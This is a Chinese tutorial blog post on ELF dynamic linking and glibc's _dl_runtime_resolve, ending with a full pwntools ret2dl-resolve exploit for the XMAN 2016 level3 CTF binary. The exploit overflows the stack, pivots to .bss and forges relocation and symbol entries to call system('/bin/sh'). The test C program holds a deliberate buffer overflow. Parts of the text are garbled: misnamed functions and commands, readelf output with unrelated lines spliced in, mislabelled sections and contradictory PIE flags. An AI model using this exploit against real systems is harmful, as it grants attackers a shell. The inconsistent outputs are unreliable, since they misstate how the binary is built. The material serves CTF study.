_dll_runtime_resolve

_dll_runtime_resolve是重定位函数,该函数会在进程运行时动态修改函数地址来达到重定位的效果。
文章参考:
https://www.freebuf.com/articles/system/170661.html
https://blog.csdn.net/farmwang/article/details/73556672?tdsourcetag=s_pctim_aiomsg
https://blog.csdn.net/conansonic/article/details/54634142?tdsourcetag=s_pctim_aiomsg
https://bbs.ichunqiu.com/thread-44816-1-1.html


在之前再把延迟绑定,动态链接说下:为了减少储存器的浪费,现代系统支持动态链接特性。也就是在程序编译的时候不把外部库编译进去,而是在运行时再把内存中的库加载进去,但这时程序显然不知道需要使用函数的地址。
比如说:我们要在0x1000地址引用libc.so,如果a程序只引用了一个0x1000这个并不难。但当引用了许多liba.so,libb.so,libd.so,libc.so这些许多库的时候,这个0x1000地址很有可能被其他库占用了。所以,程序就需要找它们的真正地址,这个过程就叫做重定位。

got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,过程链接表)辅助进行帮助程序找到调用的地址。每个外部函数的got表都会被初始化成plt表中对应项的地址。当call指令执行时,EIP直接跳转到plt表的一个jmp,这个jmp直接指向对应的got表地址,从这个地址取值。


https://ftp.gnu.org/gnu/glibc/
下载glibc源码

详细的源码分析请看:
https://blog.csdn.net/conansonic/article/details/54634142?tdsourcetag=s_pctim_aiomsg


测试代码:

#include <unistd.h>
#include <string.h>
void func(){
    char buffer[0x20];
    read(0,buffer,0x200);
}
int main(){
    fun();
    gets();
    return 0;
}

查看文件每个节区

附上readelf 命令
-a 显示全部信息
-h 显示文件头信息
-l 显示文件段头信息
-S  显示节头信息
-g 显示节组信息
-s 显示符号表中的项
-e 显示全部文件头信息 相当于 -h -l -S 
-A 显示cpu架构信息
-d 显示动态段的信息。 
-r 显示重定位段的信息
-n 显示note段信息(内核注释)
gcc -fno-stack-protector -no-pie -m32 -o fun
readelf -S fun

There are 29 section headers, starting at offset 0x17b8:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        00000154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            00000168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            00000188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        000001ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym  动态链接符号表         DYNSYM          000001cc 0001cc 000080 10   A  6   1  4
  [ 6] .dynstr     动态链接的字符串      STRTAB          0000024c 00024c 00009b 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          000002e8 0002e8 000010 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         000002f8 0002f8 000030 00   A  6   1  4
  [ 9] .rel.dyn          REL             00000328 000328 000040 08   A  5   0  4
  [10] .rel.plt          REL             00000368 000368 000010 08  AI  5  22  4
  [11] .init             PROGBITS        00000378 000378 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        000003a0 0003a0 000030 04  AX  0   0 16
  [13] .plt.got          PROGBITS        000003d0 0003d0 000010 08  AX  0   0  8
  [14] .text             PROGBITS        000003e0 0003e0 000202 00  AX  0   0 16
  [15] .fini             PROGBITS        000005e4 0005e4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        000005f8 0005f8 000008 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        00000600 000600 000044 00   A  0   0  4
  [18] .eh_frame         PROGBITS        00000644 000644 000118 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      00001ed8 000ed8 000004 04  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      00001edc 000edc 000004 04  WA  0   0  4
  [21] .dynamic          DYNAMIC         00001ee0 000ee0 0000f8 08  WA  6   0  4
  [22] .got              PROGBITS        00001fd8 000fd8 000028 04  WA  0   0  4
  [23] .data   全局变量偏移表          PROGBITS        00002000 001000 000008 00  WA  0   0  4
  [24] .bss     全局函数偏移表         NOBITS          00002008 001008 000004 00  WA  0   0  1
  [25] .comment          PROGBITS        00000000 001008 000025 01  MS  0   0  1
  [26] .symtab           SYMTAB          00000000 001030 000440 10     27  43  4
  [27] .strtab           STRTAB          00000000 001470 00024b 00      0   0  1
  [28] .shstrtab         STRTAB          00000000 0016bb 0000fc 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),

查看动态段信息

readelf -d fun

Dynamic section at offset 0xee0 contains 27 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x378
 0x0000000d (FINI)                       0x5e4
 0x00000019 (INIT_ARRAY)                 0x1ed8
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x1edc
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x1ac
 0x00000005 (STRTAB)                     0x24c
 0x00000006 (SYMTAB)                     0x1cc
 0x0000000a (STRSZ)                      155 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x1fd8
 0x00000002 (PLTRELSZ)                   16 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x368
 0x00000011 (REL)                        0x328
 0x00000012 (RELSZ)                      64 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x0000001e (FLAGS)                      BIND_NOW
 0x6ffffffb (FLAGS_1)                    Flags: NOW PIE
 0x6ffffffe (VERNEED)                    0x2f8
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x2e8
 0x6ffffffa (RELCOUNT)                   4
 0x00000000 (NULL)                       0x0
readelf -r fun

Relocation section '.rel.dyn' at offset 0x328 contains 8 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00001ed8  00000008 R_386_RELATIVE   

查看.dynsym中的内容

reade -s fun
00001edc  00000008 R_386_RELATIVE   
00001ff8  00000008 R_386_RELATIVE   
00002004  00000008 R_386_RELATIVE   
00001fec  00000206 R_386_GLOB_DAT    00000000   _ITM_deregisterTMClone
00001ff0  00000306 R_386_GLOB_DAT    00000000   __cxa_finalize@GLIBC_2.1.3
00001ff4  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
00001ffc  00000606 R_386_GLOB_DAT    00000000   _ITM_registerTMCloneTa

Relocation section '.rel.plt' at offset 0x368 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00001fe4  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
00001fe8  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

read符号位于.rel.plt的第一个,也就是偏移为0×0的地方,这里的r_offset(偏移量)就是.got.plt的地址。

reade -s fun
Symbol table '.dynsym' contains 6 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND gets@GLIBC_2.0 (2)
     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     5: 0804851c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
typedef struct
{
    Elf32_Word st_name;     // Symbol name(对应于.dynstr中的索引)
    Elf32_Addr st_value;    // Symbol value
    Elf32_Word st_size;     // Symbol size
    unsigned char st_info;  // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
} Elf32_Sym;
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

ELF32_R_SYM(info) ((info)>>8),sym[num]是通过 (r_info)>>8 ,来对下标进行赋值。

对于fun文件,.dynsym的地址为0x080481cc,对于reade 函数对应值为1.
所以

gdb-peda$ x/4wx 0x080481cc+0x10*1
0x80481dc:      0x0000001f      0x00000000      0x00000000      0x00000012
0x080481cc 对应.dynsym的地址
0x10 每一个symbol大小在syment处可以查看,为16bytes
1 : num值为1

刚刚0x80481dc处的第一个值为0x1f,即"read"在dymstr出的偏移

gdb-peda$ x/s 0x0804822c+0x1f
0x804824b:      "read"

这样只是熟悉了函数重定位的过程,如果伪造函数重定位情况的话。如何传参,参数数量,函数执行流程等这些并不清楚。

细看glibc源码:-2.15
从PLT[0]会进入_dl_runtime_resolve函数该函数位于
glibc/sysdeps/i386/dl-trampoline.S

        .text
                .globl _dl_runtime_resolve
                .type _dl_runtime_resolve, @function
                cfi_startproc
                .align 16
        _dl_runtime_resolve:
                cfi_adjust_cfa_offset (8)
                pushl %eax                # Preserve registers otherwise clobbered.
                cfi_adjust_cfa_offset (4)
                pushl %ecx
                cfi_adjust_cfa_offset (4)
                pushl %edx
                cfi_adjust_cfa_offset (4)
                movl 16(%esp), %edx        # Copy args pushed by PLT in register.  Note
                movl 12(%esp), %eax        # that `fixup' takes its parameters in regs.
                call _dl_fixup                # Call resolver.
                popl %edx                # Get register content back.
                cfi_adjust_cfa_offset (-4)
                movl (%esp), %ecx
                movl %eax, (%esp)        # Store the function address.
                movl 4(%esp), %eax
                ret $12                        # Jump to function address.
                cfi_endproc
                .size _dl_runtime_resolve, .-_dl_runtime_resolve

主要代码段调用了_dl_fixup函数,此函数的实现在
glibc/elf/dl-runtime.c文件处
(下载的2.15以后版本没有dl-trampoline.S文件,dl -fixup函数名为fixup。但大致函数操作流程差别不大)
2.15

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
           ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
           struct link_map *__unbounded l, ElfW(Word) reloc_arg)
{
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value)
}

该函数接收两个参数,第一个参数link_map没变,第二个rel_offset改为用reloc_arg表示:reloc_arg=reloffset(可能是后续版本的缘故,里面并没有rel_arg的宏定义,一律使用了rel_offest,但从哪个版本开始这个并没有去细查)
2.23

fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
        ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
    /* GKM FIXME: Fix trampoline to pass bounds so we can do
       without the `__unbounded' qualifier.  */
       struct link_map *__unbounded l, ElfW(Word) reloc_offset)

分析2.13中的fix_up

const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);//计算重定位入口reloc,JMPREL即.rel.plt地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];//在.dynsym中对应的条目,[ELFW(R_SYM) (reloc->r_info)]就是为了找到对应的num[?]
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);//检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);//根据st_name对应的偏移,去.dynstr(STRTAB)中查找对应的字符串,result为libc基地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);//value为函数的实际地址,在libc基地址的基础上加上函数在libc中的偏移
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);//将函数地址写到got表对应位置

清楚流程之后就可以进行攻击了:
简单来说在bss段伪造想要的函数字符串(system),当dyn可写时,便把dynstr的bss地址改写为bss地址。
而当dyn不可写时,dll_runtime_resolve函数之所以能解析出不同的函数地址,是因为我们传入的rel_offest的不同,所以只要将rel_offest的地址改为我们想要的便可。但rel.plt里面可能不会有我们想要的函数,所以便要伪造一个。

伪造结构
将rel_offest值一直偏移到bss段,(bss一般是可写入的,ida 中CTRL+S可查看其属性)

rel_offest=bss_address+一定大小的偏移+junk-.rel.plt_address

伪造Elf32_Rel(.rel.plt)的结构,大小为8字节,我们需要伪造 r_offest r_info,r_offest是函数在.got.plt的地址,r_info可以用来计算在symtab中的index;
index=(bss+0×100-.dynsym)/0×10(因为SYMENT指明大小为16字节),类型必须为7

r_info=(index << 8 ) | 0x7

伪造symtab,这一部分包含四个字段,我们只需要改st_name部分即可,其余部分按照程序原有的值赋值,st_name表示了字符串相对strtab的偏移,我们可以将字符串写在紧邻这一部分的高地址处

伪造strtab,这里我们直接将所需库函数的字符串写入即可,例如system

dl_runtime_resolve函数便会将system函数的地址,写到read函数对应的got表中去,再次调用read就相当于调用了system函数

题目 - XMAN 2016-level3/level3

本题.rel.plt. .dynsym .dynstr所在的内存区域都不可写,便需要构造Elf32_Rel和Elf32_Sym。

from pwn import *

context.update(os = 'linux', arch = 'i386')

write_got = 0x0804a018              
read_plt = 0x08048310
plt0_addr = 0x08048300
leave_ret = 0x08048482
pop3_ret = 0x08048519
pop_ebp_ret = 0x0804851b
new_stack_addr = 0x0804a500         #bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错
relplt_addr = 0x080482b0            #.rel.plt的首地址,通过计算首地址和新栈上我们伪造的结构体Elf32_Rel偏移构造reloc_arg
dymsym_addr = 0x080481cc            #.dynsym的首地址,通过计算首地址和新栈上我们伪造的Elf32_Sym结构体偏移构造Elf32_Rel.r_info
dynstr_addr = 0x0804822c            #.dynstr的首地址,通过计算首地址和新栈上我们伪造的函数名字符串system偏移构造Elf32_Sym.st_name

io = process('./level3')

payload = ""
payload += 'A'*140                  #padding
payload += p32(read_plt)            #调用read函数往新栈写值,防止leave; retn到新栈后出现ret到地址0上导致出错
payload += p32(pop3_ret)            #read函数返回后从栈上弹出三个参数
payload += p32(0)                   #fd = 0
payload += p32(new_stack_addr)      #buf = new_stack_addr
payload += p32(0x400)               #size = 0x400
payload += p32(pop_ebp_ret)         #把新栈顶给ebp,接下来利用leave指令把ebp的值赋给esp
payload += p32(new_stack_addr)      
payload += p32(leave_ret)

io.send(payload)                    #此时程序会停在我们使用payload调用的read函数处等待输入数据

sleep(1)

fake_Elf32_Rel_addr = new_stack_addr + 0x50 #在新栈上选择一块空间放伪造的Elf32_Rel结构体,结构体大小为8字节
fake_Elf32_Sym_addr = new_stack_addr + 0x5c #在伪造的Elf32_Rel结构体后面接上伪造的Elf32_Sym结构体,结构体大小为0x10字节
binsh_addr = new_stack_addr + 0x74          #把/bin/sh\x00字符串放在最后面

fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr  #计算伪造的reloc_arg

fake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #伪造r_info,偏移要计算成下标,除以Elf32_Sym的大小,最后一字节为0x7

fake_st_name = new_stack_addr + 0x6c - dynstr_addr      #伪造的Elf32_Sym结构体后面接上伪造的函数名字符串system

fake_Elf32_Rel_data = ""
fake_Elf32_Rel_data += p32(write_got)                   #r_offset = write_got,以免重定位完毕回填got表的时候出现非法内存访问错误
fake_Elf32_Rel_data += p32(fake_r_info)

fake_Elf32_Sym_data = ""
fake_Elf32_Sym_data += p32(fake_st_name)
fake_Elf32_Sym_data += p32(0)                           #后面的数据直接套用write函数的Elf32_Sym结构体,具体成员变量含义自行搜索
fake_Elf32_Sym_data += p32(0)
fake_Elf32_Sym_data += p32(0x12)

payload = ""
payload += "AAAA"                   #leave = mov esp, ebp; pop ebp,占位用于pop ebp
payload += p32(plt0_addr)           #调用PLT[0]传入参数*link_map并调用_dl_fixup
payload += p32(fake_reloc_arg)      #传入伪造的reloc_arg重定位并返回到system函数
payload += p32(0)                   #system函数返回值
payload += p32(binsh_addr)          #/bin/sh字符串地址
payload += "A"*0x3c                 #padding
payload += fake_Elf32_Rel_data
payload += "AAAA"
payload += fake_Elf32_Sym_data
payload += "system\x00\x00"
payload += "/bin/sh\x00"

io.send(payload)

io.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_34223655/article/details/87114872